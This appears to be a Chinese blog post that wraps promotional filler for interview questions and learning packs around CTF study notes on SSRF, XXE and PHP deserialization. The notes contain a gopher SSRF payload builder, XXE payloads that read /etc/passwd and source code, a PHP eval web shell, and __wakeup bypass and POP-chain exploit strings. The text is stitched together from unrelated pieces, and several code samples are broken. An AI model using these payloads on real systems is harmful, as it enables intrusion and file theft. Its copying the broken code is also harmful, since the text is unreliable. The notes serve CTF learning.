还有兄弟不知道网络安全面试可以提前刷题吗？费时一周整理的160+网络安全面试题，金九银十，做网络安全面试里的显眼包！
王岚嵚工程师面试题（附答案），只能帮兄弟们到这儿了！如果你能答对70%，找一个安全工作，问题不大。
对于有1-3年工作经验，想要跳槽的朋友来说，也是很好的温习资料！
【完整版领取方式在文末！！】
93道网络安全面试题
内容实在太多，不一一截图了
黑客学习资源推荐
最后给大家分享一份全套的网络安全学习资料，给那些想学习 网络安全的小伙伴们一点帮助！
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
同时每个成长路线对应的板块都有配套的视频提供：
网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。
一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
import urllib
import requests
test =\
"""POST /security/flag.php HTTP/1,1
Host:192.164.32.4
Content-Type:application/x-www-form-urlencoded
w=flag.php
"""
tmp=urllib.parse.quote(test) //url编码
new=tmp.replace('0A','%0D%0A') //换行替换
result='gopher://192.164.32.4_'+new //使用的时候换IP即可
print(result)
先查SSRF存在与否，然后file协议，消除cookie，注册一个，然后load url，sql注入，反序列化得到flag所在的路径[网鼎杯 2018]Fakebook(思路详细有说明)_lazy1310的博客-CSDN博客_lazy1310的博客-CSDN博客")
ctf-wscan 为ctf而生的web扫描器_ctf-wscan.py/-CSDN博客
清除cookie可以退出当前的登录状态
XXE漏洞
pikachu之XXE_pikachu xxe-CSDN博客
XXE(XML External Entity Injection) XML外部实体注入，XML是一种类似于HTML（超文本标记语言）的可扩展标记语言，是用于标记电子文件使其具有结构性的标记语言，可以用来标记数据、定义数据类型，是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义（可选）、文档元素**（冷门漏洞，但高危）**
当使用XML进行信息传输的时候，可能就会发生XXE漏洞攻击WEB漏洞 XXE原理&实践 - FreeBuf网络安全行业门户
xxe漏洞支持file、http、php://filter 等协议，file协议支持任意文件读取（但是需要注意的是，XML文本中如果它的标签是定死的，就必须按这个给出的标签来，也就是说要根据源码指定最后输出的文件名确定标签里面是什么内容，如果读取失败的话，也有可能是没有加根标签）
从XXE到RCE的完美利用：利用不安全的 XML 和 ZIP 文件解析器创建 WebShell
xxe漏洞学习_xxe漏洞结合expect组件-CSDN博客
expect组件初次使用需要安装，Linux系统 PHP安装expect扩展详解_expect命令安装-CSDN博客
expect协议不支持在，命令中有空格，如果有的话要使用$IFS代替——很少有服务器既存在xxe漏洞，又安装了expect扩展——因为这个扩展默认是不安装的
<?php eval ($_POST[w]);?>
超级详细的 FinalShell 安装 及使用教程_-CSDN博客(网站服务器+xshell)
题目一
启动第一个靶机，常规遇到登录框，先用弱口令试一下
不行再抓包看一下， 显然和之前的数据包是不一样的，多了些XML标签
构造payload如下：（一般来说这个很冷门）
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "filter:///etc/passwd">
]>
<user><username>&xxe;</username><password>1</password></user>
#调用xxe实体，执行后面的命令————读取/etc/passwd文件
xxe还可以进行内网信息收集，如探索存活主机、查看路由等
本题的flag就在根目录下面，查看的时候，使用xxe实体，里面定义读取文件：filter:///flag文件即可得到flag
题目二
第二个界面和上一个一样，抓包放到repeater里面，file读passwd文件可以，但是没什么信息
加xml代码模板，读取当前页面，然后base64解码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&admin;</username><password>1234</password></user>
md5解码如下，但是登不进去admin
然后读内网IP，也没什么用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ENTITY admin SYSTEM "file:///etc/hosts">
]>
<user><username>&admin;</username><password>1234</password></user>
读apr文件，如下有个IP地址
然后利用HTTP协议请求一下，可以看到无回显，说明该IP没有web服务
再次查询arp文件，发现又有另一个IP，试一下这个IP，可以看到还是没有回显
放到intruder里面爆破，选择12为爆破点爆破C段，查询存活主机，然后payloads选择numbers，从1~255，步长为1
理论上就能爆破出来哪个C段是对的，访问该ip 就能得到正确的flag
反序列化pop链条
析构方法__destruct()在类的对象销毁的时候自动解析或者执行在类的对象销毁的时候自动解析或者执行")
PHP中 __toString()方法详解-php教程-PHP中文网方法详解-php教程-PHP中文网")
类的一些魔术的方法
<?php
class CMDClass
{
public $cmd=""; //默认cmd为空，也就是不输入任何的数据
function __wakeup()
//魔术方法，在键入之后匹配内容有无ip，在windows系统上屏蔽输入ipconfig
//反序列化函数执行之后，如果有这个函数的话，就会优先执行这个方法里面的函数或者方法
{
if(strpos($this->cmd 'ip') !== flase)
$this->cmd="echo 非法输入";
}
function __destruct()
//析构方法，在类的对象销毁之后执行，也就是说这个方法是最后一个执行的
{
passthru($this->cmd,$result);
}
function __toString()
//魔术方法，在类中接收到的对象被当做字符串的时候执行下一句看返回什么
{
return "";
}
}
$a=unserialize($POST['xxx']); //反序列化函数
echo $a;
//post传参接收一个输入，然后首先执行wakeup方法，没有敏感字符之后再执行toString方法
//此时对象被当做一个字符串执行，执行后释放内存，此对象被销毁之后再执行destruct方法返回结果
__wakeup()魔术方法绕过（CVE-2016-7124）魔术方法绕过（CVE-2016-7124）")
wakeup函数是在反序列化函数之后查找，如果有这个方法，就会优先执行这个方法下面的内容，如果没有这个的话，大概率会出问题，报错或者什么的
绕过的话，首先要知道它的源码，把源码放到菜鸟工具
<?php
class CMDClass
{
public $cmd="ipconfig"; //输入敏感字符
}
$a=new CMDClass;
echo serialize($a); //得到序列化的结果
O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}
绕过的话，只需要把类的个数该得比它原本的个数大即可
然后浏览源码所在的页面，打开hackbar，下载url，然后post传参
a=O:8:"CMDClass":1000:{s:3:"cmd";s:8:"ipconfig";}
但是需要注意的是：此时的php的版本有要求——PHP5<5.6.25，PHP7<7.0.10
php的类中变量的三种声明
变量是类的数据成员，它们用于存储类中所需的数据。变量可以是私有的，只能在类定义中访问；也可以是公共的，可以被类的方法和外部代码访问
在PHP中，当声明类变量时，您可以指定变量的访问级别。PHP支持三种访问级别：
- public：可以被类的方法和外部代码访问
- protected：只能被类的方法和其子类访问
- private：只能在类定义中访问
把cmd的输入分别改为这三种类型的话，序列化之后的结果的变化：
1、变量为pubulic时序列化的运行结果
公开属性的只会显示类的属性
2、将变量改为private之后的运行结果
私有的会显示类名加属性
此时s之后的数字变为了13，可以看到他之后的所有的字符串就是13个，未显示的字符是%00，属于具有截断含义的不可见字符串，此时显示的字符其实是浏览器渲染的结果
直接复制过去，然后把类的个数改大一点就可以直接绕过了
但是此时浏览器渲染的%00可以直接手动换为具体的字符串，或者在菜鸟工具里面把最后一行加个urlencode()函数编码，直接编码为url，避免在序列化内容过多的时候手动该%00过于麻烦，但是此时就需要在一堆编码里面准确的找到类的个数是哪个，一般来说类的个数处于两个冒号之间，冒号的url编码是%3A，所以找到偏前面一点的，在两个%3A之间的数字改大一点就可以了
具体结果如下所示：
3、将变量改为protected之后的序列化结果
此时它也有%00，但是此时也是只有类的属性名字，没有具体的类名，也可以使用你lencode函数来编码之后再更改类的个数
BUUCTF [web专项16][极客大挑战 2019]PHP_buuctfmore fast-CSDN博客
首先进入靶场之后，此页面下面可以先访问一下主页index.php
然后扫目录看一下，就会扫出来www.zip，浏览此页面，就会自动下载目标页面的源码包，然后打开此源码包，会发现有很多前端代码，但主要在于php文件里面（里面会有一个假flag）
主要就是class.php文件的审计代码，得到用户名必须为admin， 密码必须为100才会打印flag，但是类里面的wakeup方法不能执行，执行之后就会置为guest
index页面包含class页面，里面友谊个GET春蚕的反序列化点，所以可以使用序列化绕过wawkeup方法，然后打印flag
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
//之前类里面的所有的方法都删掉，其余的东西不变
//然后在后面再构造一个新的类，这个类使用的就是最新的可以通过的账号密码
$a = new Name('admin',100);
$b = serialize($a);
echo $b;
由于账号密码是私有变量，但是在网页查看源代码的时候会发现有序列化的结果，使用编码函数urlencode()带出序列化的结果之后，把两个%3A之间的数字改为比原来大的数字之后，就会自动打印flag了
pop链条
PHP反序列化&POP链构造&魔术方法流程&漏洞触发条件&属性修改_魔术方法与反序列化pop链
一般来说，在类的方法里面不会出现系统执行命令执行一些不确定的参数或者输入
触发flag或者rce的方法都是在魔术方法里面
pop链就是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链,最终达到攻击的目的
php中魔术方法详解_php魔术方法的讲解与使用-CSDN博客
php有哪些魔术方法_php魔术方法有哪些-PHP问题-PHP中文网
<?php #pop链
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "str-str".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
}
}
$a = $_GET['string'];
unserialize($a);
highlight_file("./index.php");
?>
PHP魔术方法总览
__construct() 当创建对象时触发，一般用于初始化对象，对变量赋初值
__sleep() 使用serialize()时自动触发
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
构造链就是先找到能自动执行的魔术方法，然后一环套一环，把上一个类的属性变为下一个将要执行的类的对象，以此类推，然后最终执行到希望的函数，以上述的代码为例，就是要执行到get_flag函数为止
把一个类的属性作为另一个类的对象传输过去
第一种构造EXP的方法
//首先定义新的类 start_gg，然后让这个类里面的对象mod1为下一个类的对象 $a=new start_gg(); $a->mod1=new Call(); $a->mod1->mod1=new funct(); $a->mod1->mod1->mod1=new func(); $a->mod1->mod1->mod1->mod1=new string1(); $a->mod1->mod1->mod1->mod1->mod1=new get_flag(); echo serialize($a);执行到最后就可以使用rce任意函数执行
第二种构造EXP的方法
一、网安学习成长路线图
网安所有方向的技术点做的整理，形成各个领域的知识点汇总，它的用处就在于，你可以按照上面的知识点去找对应的学习资源，保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频，看视频学习是最快捷也是最有效果的方式，跟着视频中老师的思路，从基础到深入，还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础，有自己的理解能力的时候，会去阅读一些前辈整理的书籍或者手写的笔记资料，这些笔记详细记载了他们对一些技术点的理解，这些理解是比较独到，可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的，要学会跟着一起敲，要动手实操，才能将自己的所学运用到实际当中去，这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。
一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
扫一扫
3万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
